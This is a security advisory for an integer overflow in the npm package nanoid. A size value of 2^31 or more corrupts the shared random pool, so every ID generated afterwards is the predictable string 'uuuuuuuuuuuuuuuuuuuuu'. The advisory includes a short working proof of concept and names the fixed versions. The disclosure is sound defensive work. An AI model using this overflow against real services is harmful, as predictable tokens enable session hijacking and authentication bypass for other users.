GHSA-xwg4-73v4-xw9w

Suggest an improvement
Source
https://github.com/advisories/GHSA-xwg4-73v4-xw9w
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xwg4-73v4-xw9w/GHSA-xwg4-73v4-xw9w.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-xwg4-73v4-xw9w
Aliases
Downstream
CGA (73)
ECHO (1)
MINI (16)
Published
2026-09-01T19:23:45Z
Modified
2026-09-01T19:30:08Z
Severity
  • 7.4 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N CVSS Calculator
Summary
nanoid: Integer Overflow or Wraparound
Details

Summary

An integer overflow in nanoid(size) permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string "uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to the size parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.

Details

nanoid() at index.js:101 coerces the size parameter with size |= 0, which converts it to a signed 32-bit integer. When size >= 2^31 (e.g., 2147483648), this wraps to -2147483648.

The negative value is passed to fillPool() (index.js:15):

function fillPool(bytes) {
  if (!pool || pool.length < bytes) {       // false: pool exists, -2B < pool.length
    pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)
    crypto.getRandomValues(pool)
    poolOffset = 0
  } else if (poolOffset + bytes > pool.length) {  // false: poolOffset + (-2B) < pool.length
    crypto.getRandomValues(pool)
    poolOffset = 0
  }
  poolOffset += bytes  // poolOffset += -2147483648 → deeply negative
}

Neither branch triggers, so the pool is never refreshed. poolOffset becomes ~-2.1 billion.

Subsequent nanoid() calls execute:

for (let i = poolOffset - size; i < poolOffset; i++) {
  id += scopedUrlAlphabet[pool[i] & 63]
}

pool[negative_index] returns undefined. undefined & 63 evaluates to 0. urlAlphabet[0] is 'u'. Every ID becomes "uuuuuuuuuuuuuuuuuuuuu".

The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap poolOffset back to positive, or the process restarts.

PoC

import { nanoid } from 'nanoid'

// Step 1: Normal operation
console.log(nanoid())  // e.g., "V1StGXR8_Z5jdHi6B-myT"

// Step 2: Trigger overflow (e.g., from an API parameter)
try { nanoid(2147483648) } catch(e) {}

// Step 3: All subsequent IDs are deterministic
console.log(nanoid())  // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid())  // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid())  // "uuuuuuuuuuuuuuuuuuuuu"
// ... forever, process-wide

Run with: node --experimental-vm-modules poc.mjs

Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to nanoid(userInput).

Impact

Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.

  • All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable
  • An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass
  • The corruption is persistent (survives across requests) and affects all consumers of nanoid in the same process
  • No special privileges or preconditions required — a single unauthenticated request is sufficient
  • Affects any application that passes external input to the size parameter without validation
Database specific
{
    "cwe_ids":  [
        "CWE-190"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-01T19:23:45Z",
    "nvd_published_at":  "2026-08-11T17:19:16Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / nanoid

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.3.12

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xwg4-73v4-xw9w/GHSA-xwg4-73v4-xw9w.json"

npm / nanoid

Package

Affected ranges

Type
SEMVER
Events
Introduced
4.0.0
Fixed
5.1.11

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xwg4-73v4-xw9w/GHSA-xwg4-73v4-xw9w.json"